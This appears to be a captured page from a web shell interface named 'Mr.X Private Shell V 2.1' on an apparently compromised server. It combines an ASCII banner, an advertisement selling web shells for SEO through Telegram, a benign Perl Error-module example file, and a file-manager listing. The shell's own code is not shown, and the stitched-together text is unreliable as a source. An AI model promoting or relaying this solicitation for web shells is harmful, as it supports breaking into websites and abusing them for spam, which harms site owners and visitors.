__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use lib '.';
use Error qw(:try);
use strict;
use warnings;
@Error::Bad::ISA = qw(Error);
$Error::Debug = 1; # turn on verbose stacktrace
sub abc {
try {
try {
throw Error::Simple("a simple error");
}
catch Error::Simple with {
my $err = shift;
throw Error::Bad(-text => "some text");
}
except {
return {
'Error::Simple' => sub { warn "simple" }
}
}
otherwise {
1;
} finally {
warn "finally\n";
};
}
catch Error::Bad with {
1;
};
}
sub def {
unlink("not such file") or
record Error::Simple("unlink: $!", $!) and return;
1;
}
abc();
my $x = prior Error;
print "--\n",$x->stacktrace;
unless(defined def()) {
my $x = prior Error 'main';
print "--\n",0+$x,"\n",$x; # 0+$x converts to Integer via "value" method
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| next-in-loop | Folder | 0755 |
|
|
| example.pl | File | 800 B | 0644 |
|
| warndie.pl | File | 458 B | 0644 |
|